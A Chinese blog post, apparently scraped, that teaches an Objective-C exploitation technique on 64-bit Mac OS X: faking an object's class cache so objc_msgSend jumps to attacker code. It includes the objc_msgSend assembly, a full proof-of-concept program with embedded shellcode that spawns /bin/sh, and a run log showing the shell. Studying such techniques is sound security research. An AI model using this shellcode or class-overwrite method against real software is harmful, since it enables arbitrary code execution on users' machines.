Max OS X x64 环境下覆盖objective-c类结构并通过objc_msgSend获得RIP执行shellcode

网站建设评论63

author vvun91e0n

0x00 前言

阅读学习国外nemo大牛《Modern Objective-C Exploitation Techniques》文章的内容,就想在最新的OS X版本上调试出作者给出的代码。控制rip。我根据自己的调试,修改了原程序,才调试成功。对大牛原程序的部分代码的意图和计算方法难免理解不足,欢迎留言与我交流学习。本文主要简要介绍下对objective-c类的覆盖到控制rip的技术。是目前OS X平台下,比较主流的一种溢出利用方式。

0x01 64位汇编知识及lldb简单调试命令

汇编知识主要是在调试的时候使用,在64位平台下调试必不可少的知识。对此熟悉的读者可直接跳过。下面简要介绍下64位汇编。

RIP的就是64位的指令寄存器。

通用64位寄存器

RAX RBX RCX RDX RBP RSI RDI RSP

R8 --- R15

可以使用

EAX 访问RAX的低32bits AX 访问RAX的低16bits AL 访问RAX的低8bist AH 访问RAX低16bits的高8bits

OS X 64位的汇编调用约定,可以参考AMD64 Application Binary Interface

x86-64 Function Calling convention:

    If the class is MEMORY, pass the argument on the stack.

    If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used.

可以看到和32位汇编的通过push压栈来传递参数不同,函数的参数传递基本是通过寄存器来完成的。顺序如上。 32位汇编通过int 0x80来进行系统调用,64位汇编是通过syscall来调用的。

lldb是苹果公司推出的用以替代gdb的调试器。随xcode一起安装。是进行动态调试的利器。调试时必不可少。下面简要介绍下会用到的一些基础命令:

在命令行输入lldb,就会进入调试工具

(lldb)

help会显示所有的命令,需要详细了解可以用输入help + 命令查询

file命令加载需要调试的程序

(lldb) file /Users/vvun91e0n/Desktop/OC64exploitCurrent executable set to \'/Users/vvun91e0n/Desktop/OC64exploit\' (x86_64).

breakpoint set用来设置断点

(lldb) breakpoint set --name length

breakpoint list可以用来查看所有断点 breakpoint disable 关闭断点 breakpoint enable 激活断点 ni 单步步不执行指令

run或r启动进程进行调试

register read 读取现在所有寄存器的值 想读取特定的几个寄存器,写在后面就行,使用简化命令如

(lldb) re r rdi r10 rsi rdi = 0x0000000100202fa0 r10 = 0x0000000000000001 rsi = 0x00007fff907bb509

memory read 可以读取指定地址的内存数据,如下指定地址就是length字符串。也可以使用gdb风格的x 0x00007fff907bb509命令来读取内存数据。

(lldb) memory read 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen(lldb) x 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen

continue 或者c 命令来继续执行。 kill来结束进程。run来重新启动。 其他如条件断点,修改寄存器值等命令读者可以使用help命令了解。

0x02 objective-c方法调用

你需要对objective-c语言有一定的基本的了解。特别是objc_msgSend函数的调用机制。可以参考:《The Objective-C Runtime: Understanding and Abusing》。这篇文章是nemo2009年发表在phrack上的。在32位系统基础上讲Objective-C Runtime溢出的文章。还是有阅读价值的。特别是对后面64位溢出的理解。

下面简要介绍下objective-c,先看看一个简单的类实现和调用:

//  Talker.h#import <Foundation/Foundation.h>@interface Talker : NSObject        //定义一个类- (void) say: (char *) str;         //声明一个say方法@end//  Talker.m#import \"Talker.h\"@implementation Talker              //类的相关方法实现- (void) say: (char *) phrase{    printf(\"%s/n\",phrase);}@end//main.m#import \"Talker.h\"int main(int argc, const char * argv[]) {    @autoreleasepool {        // insert code here...        Talker *talker = [[Talker alloc] init];//分配内存,初始化        [talker say: \"Hello, World!\"];          //调用say方法    }    return 0;}

如上面代码所示,定义了一个Talker类,并在main函数中调用了say方法。 可以看出objective-c语言的方法调用语法为

[/ /: /];

主程序进行了3次函数调用

class  | method -------|-----------         Talker | alloctalker | init talker | say

将上面的代码在xcode中编译生成后的程序放入Hopper静态反汇编后,会得到一下汇编代码(注:这个事release版的结果,debug版的反汇编结果稍有不同)

mov     rdi, qword [ds:objc_cls_ref_Talker]     ; objc_cls_ref_Talker, argument \"instance\" for method _objc_msgSendmov     rsi, qword [ds:0x1000010f8]             ; @selector(alloc), argument \"selector\" for method _objc_msgSendmov     r15, qword [ds:imp___got__objc_msgSend] ; imp___got__objc_msgSendcall    r15                                     ; _objc_msgSendmov     rsi, qword [ds:0x100001100]             ; @selector(init), argument \"selector\" for method _objc_msgSendmov     rdi, rax                                ; argument \"instance\" for method _objc_msgSendcall    r15                                     ; _objc_msgSendmov     rbx, raxmov     rsi, qword [ds:0x100001108]             ; @selector(say:), argument \"selector\" for method _objc_msgSendlea     rdx, qword [ds:0x100000f70]             ; \"Hello, World!\"mov     rdi, rbx                                ; argument \"instance\" for method _objc_msgSendcall    r15                                     ; _objc_msgSend

可以看出在进行方法调用时并不是直接call方法地址,而是将方法的selector作为第二个参数传入rsi寄存器。与之前介绍的64位汇编调用约定一样。第一参数对象指针isa压入rdi。然后call r15调用objc_msgSend函数。这个函数就是需要研究利用的对象。相对于c语言在编译时就决定运行时所调用的函数的静态绑定。objectie-c语言利用了消息传递objc_msgSend函数在运行时,动态绑定调用函数。objective-c利用这个消息机制实现了runtime的方法调用。提高了语言的灵活性。使得objective-c成为了一门动态语言。

0x03 objective-c的类结构和objc_msgSend函数

在64位系统中,runtime进行了重新编写,类的实现由原来的c语言struct结构,变成了c++类。

struct objc_class : objc_object {// Class ISA;Class superclass;cache_t cache;      // formerly cache pointer and vtableclass_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags… }

类的第一个变量指向父类,在查询不到需要调用的方法时,会向父类继续进行查询。 第二个变量指向cache,这个cache缓存了最近调用方法的selector和imp(方法入口地址),之所以使用cache就是为了提高objective-c语言的动态绑定特性的效率。加快查询速度。

struct cache_t {struct bucket_t *_buckets;mask_t _mask;mask_t _occupied;… }struct bucket_t {private:cache_key_t _key;IMP _imp; ...}

cache的结构如上,cache里面的buckets指向一个bucket类,类里面的_key就是selector,指向选择子的字符串。_imp指向方法地址。

其中需要说明的是_mask。这个mask用来和输入的sel进行按位与,对结果进行处理,作为buckets数组的序号。加快选择速度,确定范围。在我们的实验代码里,根据调试发现mask实际上起到一个确定遍历范围的作用。

我的程序在mask的选择上,是根据我自己的调试结果设置的。nemo的源码的mask设置在我机器上运行后会取到非法内存。不知道是不是版本改变了更新了还是什么其他的原因导致的。我调试的时候lldb反汇编了objc_msgSend函数,对照该函数的源代码进行了调试。对nemo的代码进行了修改。读者可以同时看看nemo的源代码。还有几处我都做出了修改。

查询Objective-C Runtime Reference,可以得到该函数声明如下

id objc_msgSend ( id self, SEL op, ... );Parameters:self    A pointer that points to the instance of the class that is to receive the message.op      The selector of the method that handles the message....     A variable argument list containing the arguments to the method.

该函数的源代码是开源的,由汇编语言实现,以提高objective-c的执行效率。

大家看到第一个self参数实际就是指向实例的指针。第二个op参数就是sel,就是选择子。指向方法名字符串。

关于objc_msgSend的汇编源代码可以到苹果公司网站查看。以下是目前最新版本的链接地址 http://www.opensource.apple.com/source/objc4/objc4-646/runtime/Messengers.subproj/objc-msg-x86_64.s

下面给出源代码

/******************************************************************** * * id objc_msgSend(id self, SEL _cmd,...); * ********************************************************************/    .data    .align 3    .globl _objc_debug_taggedpointer_classes_objc_debug_taggedpointer_classes:    .fill 16, 8, 0    ENTRY   _objc_msgSend    MESSENGER_START    NilTest NORMAL    GetIsaFast NORMAL       // r11 = self->isa    CacheLookup NORMAL      // calls IMP on success    NilTestSupport  NORMAL    GetIsaSupport   NORMAL// cache miss: go search the method listsLCacheMiss:    // isa still in r11    MethodTableLookup %a1, %a2  // r11 = IMP    cmp %r11, %r11      // set eq (nonstret) for forwarding    jmp *%r11           // goto *imp    END_ENTRY   _objc_msgSend    ENTRY _objc_msgSend_fixup    int3    END_ENTRY _objc_msgSend_fixup    STATIC_ENTRY _objc_msgSend_fixedup    // Load _cmd from the message_ref    movq    8(%a2), %a2    jmp _objc_msgSend    END_ENTRY _objc_msgSend_fixedup

可以看到该函数先获取isa指针,然后调用Cachelookup,在Cache中寻找sel,如果找不到就调用MethodTableLookup,在MethodTable中继续查找sel。这样只要我们能够覆盖类的内存,构造虚假的cache,提供正确的sel,就能够最终控制rip。对类结构进行溢出覆盖控制也是现在比较流行的OS X下溢出利用技术。

下面再来看看CacheLookup的源代码:

.macro  CacheLookup.if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET    movq    %a2, %r10       // r10 = _cmd.else    movq    %a3, %r10       // r10 = _cmd.endif    andl    24(%r11), %r10d     // r10 = _cmd & class->cache.mask    shlq    $$4, %r10       // r10 = offset = (_cmd & mask)<<4    addq    16(%r11), %r10      // r10 = class->cache.buckets + offset.if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET    cmpq    (%r10), %a2     // if (bucket->sel != _cmd).else    cmpq    (%r10), %a3     // if (bucket->sel != _cmd).endif    jne     1f          //     scan more    // CacheHit must always be preceded by a not-taken `jne` instruction    CacheHit $0         // call or return imp1:    // loop    cmpq    $$0, (%r10)    je  LCacheMiss_f        // if (bucket->sel == 0) cache miss    cmpq    16(%r11), %r10    je  3f          // if (bucket == cache->buckets) wrap    subq    $$16, %r10      // bucket--2:  .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET    cmpq    (%r10), %a2     // if (bucket->sel != _cmd).else    cmpq    (%r10), %a3     // if (bucket->sel != _cmd).endif    jne     1b          //     scan more    // CacheHit must always be preceded by a not-taken `jne` instruction    CacheHit $0         // call or return imp</code></pre>其中的CacheHit就是在sel匹配成功后跳转到imp,从中可以看出mask的具体使用方法。    andl    24(%r11), %r10d     // r10 = _cmd & class->cache.mask    shlq    $$4, %r10       // r10 = offset = (_cmd & mask)<<4    addq    16(%r11), %r10      // r10 = class->cache.buckets + offset

sel和mask进行了andl操作,命令andl操作数是32位。而且后面的操作数时%r10d,表示的是r10的低32位。r10的高32位应该不变。但是读者在调试的时候可能会发现证明r10的高32位也置零了。

关于这里大家就需要查查Intel的手册。有这样一句:

• 32-bit operands generate a 32-bit result, zero-extended to a 64-bit result in the destination general-purpose register.

由此可见,andl命令会将结果扩展到64位。

之后,将与后的结果左移4位得到offset。将offset加到buckets的上。

初始时offset就指向来整个数组的最后。通过subq命令递减。

subq    $$16, %r10      // bucket--

从后向前来遍历buckets数组。如果命中了sel就可以跳到imp了。16就是我们bucket_t结构的大小。 说了这么多。接下来就来看看代码。

0x04 具体代码及细节说明

完整代码如下:

/**   main.m*   OC64exploit Demo**   Author:    vvun91e0n*   Date:      2015-05-25*   Tested on: Mac OS X 10.10.3 (Darwin kernel version 14.3.0)& 10.10.4*   Base on: nemo\'s source code @ www.phrack.com/papers/modern_objc_exploitation.html*   Shellcode on: Dustin Schultz‘source code @ www.exploit-db.com/exploits/15618*/#import <Foundation/Foundation.h>#define NUMBUCKETS 0x20000#define MASK  0x20000#define BASESEL 0x7fff80000509     //0x7fff907bb509 my \"length\" sel address                                   //may change in different os or different appstruct fakecache {    char pad[0x10];    long bucketptr;    long mask;};struct cacheentry {    long sel;    long rip;};char shellcode[] =\"/x41/xb0/x02/x49/xc1/xe0/x18/x49/x83/xc8/x17/x31/xff/x4c/x89/xc0\"\"/x0f/x05/xeb/x12/x5f/x49/x83/xc0/x24/x4c/x89/xc0/x48/x31/xd2/x52\"\"/x57/x48/x89/xe6/x0f/x05/xe8/xe9/xff/xff/xff/x2f/x62/x69/x6e/x2f\"\"/x2f/x73/x68\";int main(int argc, const char * argv[]){    struct fakecache fc;    char num[50];    unsigned int slide;    void *pshellcode = mmap(0, 0x33, PROT_EXEC | PROT_WRITE                           | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);    if (pshellcode == MAP_FAILED) {        printf(\"[+] shellcode mmap failed/n\");        exit(1);    }    memcpy(pshellcode, shellcode, sizeof(shellcode));    printf(\"[+] Setting up shellcode/n\");    struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry));    if(!buckets) {        printf(\"[!] allocation failed./n\");        exit(1);    }    for(slide = 0; slide <= NUMBUCKETS ; slide++) {        buckets[slide].sel = BASESEL + (slide * 0x1000);        buckets[slide].rip = (long)pshellcode;    }    printf(\"[+] Setting up buckets/n\");    NSString *l = [[NSString alloc] initWithUTF8String:\"hello world\"];    memset(&fc,\'/xcc\',sizeof(fc));    fc.mask = MASK; // mask    fc.bucketptr = (unsigned long)buckets;    printf(\"[+] Setting up fc/n\");    printf(\"[+] fc @ 0x%lx/n\",(unsigned long)&fc);    printf(\"[+] Class @ 0x%lx/n\",(unsigned long)l);    printf(\"[+] Buckets @ 0x%lx/n\",(unsigned long)buckets);    printf(\"[+] String length: 0x%x/n\",(unsigned int)[l length]);    sprintf(num,\"%li\",(long)l);    long *ptr = (long *)atol(num);    *ptr = (long)&fc; // isa ptr    printf(\"[+] Overwriting object/n\");    printf(\"[+] Calling method/n\");    printf(\"String length: 0x%x/n\",(unsigned int)[l length]);    return 0;}

具体步骤说明:

先申请一块可以执行的内存来存放shellcode。该shellcode功能是起一个sh。在申请一块内存在构建bucket块。NUMBUCKETS的大小设置可以修改,合适就好。开始构建虚假的bucket块。一共构建了NUMBUCKETS+1个。

每个bucket的rip(即imp)都指向shellcode的地址。

bucket的sel就是对应的length方法的选择子地址,也就是字符串的地址。这个就涉及到了OS X系统共享区域(Shared Region)的动态库dylib加载空间问题了。在64bit OS X系统里面共享区域开始于地址0x7FFF80000000。动态库加载地址会随机加上一个偏移。但是偏移都是以内存页为单位的,一个页的大小是0x1000。

通过在一个正常程序NSString类的length方法上下了断点,执行程序断在此处查看调用时的第二个参数rsi寄存器的值,我们就能得到这个length的地址

Process 5001 stopped* thread #1: tid = 0x54aeb, 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length], queue = \'com.apple.main-thread\', stop reason = breakpoint 1.32    frame #0: 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length]CoreFoundation`-[__NSCFString length]:->  0x7fff927cf1d0 <+0>: pushq  %rbp    0x7fff927cf1d1 <+1>: movq   %rsp, %rbp    0x7fff927cf1d4 <+4>: popq   %rbp    0x7fff927cf1d5 <+5>: jmp    0x7fff927cdcd0            ; _CFStringGetLength2(lldb) re r rsi     rsi = 0x00007fff907bb509(lldb) x 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen

由于加载以页为单位所以 后面的12bit 509是不会改变的。我们构建虚假bucket时就以0x1000为单位进行不断尝试每个地址。如果NUMBUCKETS的大小还不够,还可以增加。如果执行正确总会碰撞到正确的sel。从而转到imp。

构建虚假的objc_object结构,即代码中的fakecache,前面的superclass变量可随意填充。fc.mask和fc.bucketptr设置成对应值。新建一个NSString类实例指针l。将l指针的地址改为fc的地址。对l调用方法length。这样会调用objc_msgSend函数。

如果一些正常执行回执行shellcode,启动一个sh

MacBook:~ vvun91e0n$ /Users/vvun91e0n/Desktop/OC64exploit[+] Setting up shellcode[+] Setting up buckets[+] Setting up fc[+] fc @ 0x7fff57daba70[+] Class @ 0x7f8733c0d410[+] Buckets @ 0x107ecd000[+] String length: 0xb[+] Overwriting object[+] Calling methodsh-3.2$ 

在调试的时候可以利用添加条件断点断在最后一个溢出时调用的objc_msgSend处,利用单步执行ni命令。一条一条执行进行调试。利用disasseble命令查看objc_msgSend函数的反汇编代码。

0x05 总结

通过这个代码调试过程验证里对objective-c类结构进行溢出的可行性。可以成功获得rip。

在实际应用中可能不像例子中,直接修改类的地址。而是通过溢出覆盖一个类结构的数据。来获得rip。

但是在实际的应用中获得rip还是远远不够的。还要对抗NX和ASLR等技术。现在比较通用的方法还是利用ROP chain等技术来成功利用溢出。

谢谢阅读

参考:

    Modern Objective-C Exploitation Techniques http://www.phrack.org/papers/modern_objc_exploitation.html

    The Objective-C Runtime: Understanding and Abusing http://www.phrack.org/issues/66/4.html#article

    AMD64 Application Binary Interface http://x86-64.org/documentation/abi.pdf

    Objective-C消息机制的原理 http://dangpu.sinaapp.com/?p=119

    详解objc_msgSend http://www.cnblogs.com/tekkaman/archive/2013/05/23/3094549.html

    理解objc_msgSend的作用 http://book.51cto.com/art/201403/432144.htm

赞 0

收藏 1

阅读原文评论(1) Max OS X x64 环境下覆盖objective-c类结构并通过objc_msgSend获得RIP执行shellcode

半秋浅悲 • 5天前@blue 希望可以右滑手势


若发现bug或建议,欢迎 @blue

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/46455143

 
网站建设

渗透测试常规思路分析

这 门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样;但是在这个过程中,思路无疑 是最重要的,没有做不到只有想不到,就跟咱们高中解题...
行业类网站应用与设计 如何提升用户使用 网站建设

行业类网站应用与设计 如何提升用户使用

在工具类网站有|下载类网站|问答类网站|黄页|是我们常用的,还有SEO经常使用的查询收录网站,查询网站情况,那接下来该介绍这几类网站的栏目、页面结构,让更多的人了解网站结构,其实这几类网站也不是孤立存...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: